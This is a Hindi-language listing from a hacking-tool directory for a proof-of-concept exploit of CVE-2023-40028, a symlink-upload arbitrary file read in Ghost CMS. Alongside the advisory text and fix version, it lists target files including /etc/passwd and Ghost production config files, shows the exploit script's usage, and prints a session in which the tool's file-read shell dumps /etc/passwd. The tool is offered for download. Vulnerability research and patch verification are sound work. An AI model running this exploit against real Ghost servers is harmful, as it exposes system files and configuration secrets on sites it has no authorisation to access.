Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-40028 — CVE-2023-40028 के लिए POC: Ghost CMS मनमानी फ़ाइल रीड | Kitploit
उपकरण/GitHubGitHub/godylockz/cve-2023-40028
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

CVE-2023-40028 के लिए POC: Ghost CMS मनमानी फ़ाइल रीड

रिपॉजिटरी देखें
221 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-40028: Ghost CMS मनमानी फ़ाइल रीड

विवरण

यह प्रूफ-ऑफ-कॉन्सेप्ट (POC) CVE-2023-40028 का उपयोग करके Ghost CMS में फ़ाइल-रीड एक्सेस प्राप्त करने के लिए किया जा सकता है।

Ghost एक ओपन सोर्स कंटेंट मैनेजमेंट सिस्टम (CMS) है। 5.59.1 से पहले के संस्करण एक भेद्यता से प्रभावित हैं जो प्रमाणित उपयोगकर्ताओं को सिमलिंक वाली फ़ाइलें अपलोड करने की अनुमति देती है। इसका शोषण करके होस्ट ऑपरेटिंग सिस्टम पर किसी भी फ़ाइल का मनमाना फ़ाइल-रीड किया जा सकता है। साइट प्रशासक Ghost के content/ फ़ोल्डर में अज्ञात सिमलिंक खोजकर इस समस्या के शोषण की जाँच कर सकते हैं। संस्करण 5.59.1 में इस समस्या का समाधान शामिल है। सभी उपयोगकर्ताओं को अपग्रेड करने की सलाह दी जाती है। इस भेद्यता के लिए कोई ज्ञात वर्कअराउंड नहीं हैं।

गंभीरता: 6.5 मध्यम वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

कुछ प्लेनटेक्स्ट गैर-बाइनरी फ़ाइलें जो रुचिकर हो सकती हैं:

  • /etc/hosts Linux लोकल-DNS समाधान
  • /etc/passwd Linux उपयोगकर्ता खाते
  • /etc/group Linux उपयोगकर्ता समूह
  • /var/lib/ghost/config.local.json Ghost CMS स्थानीय कॉन्फ़िग
  • /var/lib/ghost/config.production.json Ghost CMS प्रोडक्शन कॉन्फ़िग

उपयोग

root@kitploit:~
usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]

POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)

options:
  -h, --help            show this help message and exit
  -t URL, --url URL     Target Ghost CMS URL (e.g., http://target-ghost-cms)
  -f FILE, --file FILE  File path to read
  -u USERNAME, --username USERNAME
                        Username for authentication
  -p PASSWORD, --password PASSWORD
                        Password for authentication
  -c COOKIE, --cookie COOKIE
                        Cookie for authentication
  -x PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  --timeout TIMEOUT     Request timeout
  -a USERAGENT, --useragent USERAGENT
                        User agent to use when sending requests

उदाहरण

root@kitploit:~
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'                                      
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.

Welcome to the Ghost file-read shell. Type help or ? to list commands.

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

संदर्भ

  • NIST CVE-2023-40028
  • गिट कमिट फिक्स
टूल डाउनलोड करें